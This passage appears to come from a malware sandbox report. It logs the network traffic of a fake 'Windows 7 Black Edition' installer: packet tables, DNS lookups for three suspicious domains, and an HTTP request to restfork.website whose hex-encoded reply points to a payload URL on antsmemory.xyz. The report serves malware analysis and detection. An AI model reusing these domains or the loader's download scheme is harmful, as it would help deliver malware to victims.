Jan 21, 2024 16:57:09.290610075 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.290883064 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.290908098 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.290950060 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.290971041 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.290994883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.291018963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.291039944 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.291043043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.291066885 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.291081905 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.291091919 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.291114092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.291136980 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.291136980 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.291162968 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.291177034 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.291188002 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.291210890 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.291234016 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.291234970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.291275024 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.291934013 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.291958094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.291980028 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292001963 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.292001963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292032003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292047024 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.292054892 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292078972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292092085 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.292326927 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292375088 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.292535067 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292560101 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292584896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292604923 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.292610884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292635918 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292654037 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.292660952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292687893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292706966 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.292712927 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292741060 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292754889 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.292767048 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292792082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292809963 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.292815924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292843103 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.292855978 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.293279886 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.293325901 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.293469906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.293495893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.293519974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.293543100 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.293544054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.293570042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.293589115 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.293593884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.293628931 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.293653011 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.293653965 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.293680906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.293692112 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.293705940 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.293730974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.293745041 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.293756008 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.293781042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.293796062 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.294296026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.294322968 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.294341087 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.294347048 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.294373989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.294387102 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.294399023 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.294424057 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.294439077 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.294450045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.294476032 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.294492960 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.294501066 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.294526100 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.294537067 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.294550896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.294575930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.294599056 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.294610977 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.294635057 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.294651985 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.295265913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.295291901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.295311928 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.295316935 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.295342922 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.295361042 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.295368910 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.295394897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.295417070 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.295418978 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.295445919 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.295468092 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.295907974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.295932055 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.295953989 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.295958042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.295984030 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296008110 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296010017 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.296032906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296046972 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.296058893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296083927 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296106100 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.296108007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296133995 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296147108 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.296158075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296183109 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296200991 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.296206951 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296232939 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296246052 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.296782017 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296806097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296830893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296830893 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.296857119 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296875954 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.296881914 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296906948 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296922922 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.296931982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296957970 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.296974897 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.297334909 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.297360897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.297384024 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.297384977 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.297411919 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.297430992 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.297436953 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.297475100 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.297485113 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.297509909 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.297533989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.297558069 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.297558069 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.297584057 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.297607899 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.297609091 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.297633886 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.297652960 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.297660112 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.297686100 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.297712088 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.298247099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.298274040 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.298294067 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.298297882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.298324108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.298341036 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.298393011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.298418045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.298439026 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.298441887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.298468113 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.298489094 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.298491955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.298517942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.298532009 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.298542976 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.298568964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.298583984 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.298594952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.298619032 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.298631907 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.299177885 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.299202919 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.299218893 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.299226999 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.299252033 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.299264908 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.299367905 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.299391985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.299417019 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.299417019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.299443007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.299467087 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.299474955 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.299491882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.299505949 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.299518108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.299542904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.299556971 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.299568892 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.299593925 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.299607992 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.300137997 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.300180912 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.300206900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.300232887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.300257921 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.300281048 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.300282001 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.300307989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.300323963 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.300333023 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.300359011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.300380945 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.300652981 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.300700903 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.417953014 CET	49729	80	192.168.2.4	104.21.61.51
Jan 21, 2024 16:57:09.536931992 CET	80	49729	104.21.61.51	192.168.2.4
Jan 21, 2024 16:57:10.377640009 CET	80	49729	104.21.61.51	192.168.2.4
Jan 21, 2024 16:57:10.430784941 CET	49729	80	192.168.2.4	104.21.61.51
Jan 21, 2024 16:57:19.617027998 CET	49734	443	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:19.617059946 CET	443	49734	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:19.617132902 CET	49734	443	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:19.629056931 CET	49734	443	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:19.629072905 CET	443	49734	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:19.891668081 CET	443	49734	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:19.891748905 CET	49734	443	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:19.963608027 CET	49734	443	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:19.963624954 CET	443	49734	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:19.964587927 CET	443	49734	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:19.967194080 CET	49734	443	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:19.977258921 CET	49734	443	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:20.017905951 CET	443	49734	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:20.202145100 CET	443	49734	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:20.202306986 CET	443	49734	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:20.202372074 CET	49734	443	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:20.206815004 CET	49734	443	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:20.206835032 CET	443	49734	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:20.228516102 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:20.346827030 CET	80	49737	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:20.348210096 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:20.348579884 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:20.466821909 CET	80	49737	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:20.549057007 CET	80	49737	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:20.549143076 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:20.564023972 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:20.682322025 CET	80	49737	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:20.709142923 CET	80	49737	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:20.709218979 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:20.797517061 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:20.952438116 CET	80	49737	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:20.952497959 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:20.965730906 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:21.117284060 CET	80	49737	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:21.117388010 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:21.141907930 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:21.296890974 CET	80	49737	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:21.296942949 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:21.310358047 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:21.457477093 CET	80	49737	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:21.457535982 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:21.488795996 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:21.644254923 CET	80	49737	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:21.644406080 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:21.659339905 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:21.805811882 CET	80	49737	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:21.805883884 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:21.831547022 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:21.982016087 CET	80	49737	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:21.982079983 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:21.994601965 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:22.141135931 CET	80	49737	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:22.143623114 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:22.189069033 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:22.342927933 CET	80	49737	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:22.342995882 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:22.355479956 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:57:22.503380060 CET	80	49737	104.21.38.59	192.168.2.4
Jan 21, 2024 16:57:22.503472090 CET	49737	80	192.168.2.4	104.21.38.59
Jan 21, 2024 16:58:54.400022984 CET	49729	80	192.168.2.4	104.21.61.51
Jan 21, 2024 16:58:54.400226116 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:58:54.518775940 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:58:54.519021034 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:58:54.519203901 CET	80	49729	104.21.61.51	192.168.2.4
Jan 21, 2024 16:58:54.519634962 CET	49729	80	192.168.2.4	104.21.61.51

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 21, 2024 16:57:04.423759937 CET	55933	53	192.168.2.4	1.1.1.1
Jan 21, 2024 16:57:04.579843998 CET	53	55933	1.1.1.1	192.168.2.4
Jan 21, 2024 16:57:05.366571903 CET	55723	53	192.168.2.4	1.1.1.1
Jan 21, 2024 16:57:05.487303019 CET	53	55723	1.1.1.1	192.168.2.4
Jan 21, 2024 16:57:19.486341953 CET	63816	53	192.168.2.4	1.1.1.1
Jan 21, 2024 16:57:19.607094049 CET	53	63816	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 21, 2024 16:57:04.423759937 CET	192.168.2.4	1.1.1.1	0x57c2	Standard query (0)	restfork.website	A (IP address)	IN (0x0001)	false
Jan 21, 2024 16:57:05.366571903 CET	192.168.2.4	1.1.1.1	0xeb37	Standard query (0)	antsmemory.xyz	A (IP address)	IN (0x0001)	false
Jan 21, 2024 16:57:19.486341953 CET	192.168.2.4	1.1.1.1	0x3bd9	Standard query (0)	beadhouse.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 21, 2024 16:57:04.579843998 CET	1.1.1.1	192.168.2.4	0x57c2	No error (0)	restfork.website	104.21.61.51	A (IP address)	IN (0x0001)	false
Jan 21, 2024 16:57:04.579843998 CET	1.1.1.1	192.168.2.4	0x57c2	No error (0)	restfork.website	172.67.206.124	A (IP address)	IN (0x0001)	false
Jan 21, 2024 16:57:05.487303019 CET	1.1.1.1	192.168.2.4	0xeb37	No error (0)	antsmemory.xyz	104.21.23.90	A (IP address)	IN (0x0001)	false
Jan 21, 2024 16:57:05.487303019 CET	1.1.1.1	192.168.2.4	0xeb37	No error (0)	antsmemory.xyz	172.67.210.35	A (IP address)	IN (0x0001)	false
Jan 21, 2024 16:57:19.607094049 CET	1.1.1.1	192.168.2.4	0x3bd9	No error (0)	beadhouse.xyz	104.21.38.59	A (IP address)	IN (0x0001)	false
Jan 21, 2024 16:57:19.607094049 CET	1.1.1.1	192.168.2.4	0x3bd9	No error (0)	beadhouse.xyz	172.67.219.140	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

beadhouse.xyz

restfork.website

antsmemory.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49729	104.21.61.51	80	7140	C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp

Timestamp	Bytes transferred	Direction	Data
Jan 21, 2024 16:57:04.707118988 CET	213	OUT	GET /bo.php?p=3954&t=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dubG9hZCBGdWxsLmV4ZQ==&sub=&ps=657855dd328a1 HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: restfork.website
Jan 21, 2024 16:57:05.324117899 CET	871	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 15:57:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 157 Connection: keep-alive X-Powered-By: PHP/5.4.16 Cache-Control: no-transform, no-cache, must-revalidate Pragma: no-cache Expires: Sat, 26 Jul 1997 05:00:00 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YjYw10QkDFgz%2FPae%2BxZ8odPaa0aVb0XOKhjNMoiuZg%2FIapER8cPaVRAv8znIglxf9z8vRvpNlBXjlfVLnGJxBynJgssfTxaFfeD%2F33wi0iFe1H4pCc2DZYEiRJ1mu4%2B03NO5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490c038bcca7b95-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 68 74 74 70 3a 2f 2f 61 6e 74 73 6d 65 6d 6f 72 79 2e 78 79 7a 2f 70 65 2f 62 75 69 6c 64 2e 70 68 70 3f 70 65 3d 31 26 73 75 62 3d 26 73 6f 75 72 63 65 3d 33 39 35 34 26 73 31 3d 34 37 39 35 39 38 33 33 26 74 69 74 6c 65 3d 56 32 6c 75 5a 47 39 33 63 79 41 33 49 45 4a 73 59 57 4e 72 49 45 56 6b 61 58 52 70 62 32 34 67 52 6e 4a 6c 5a 53 42 45 62 33 64 75 62 47 39 68 5a 43 42 47 64 57 78 73 4c 6d 56 34 5a 51 25 33 44 25 33 44 26 74 69 3d 31 37 30 35 38 35 32 36 32 35 Data Ascii: 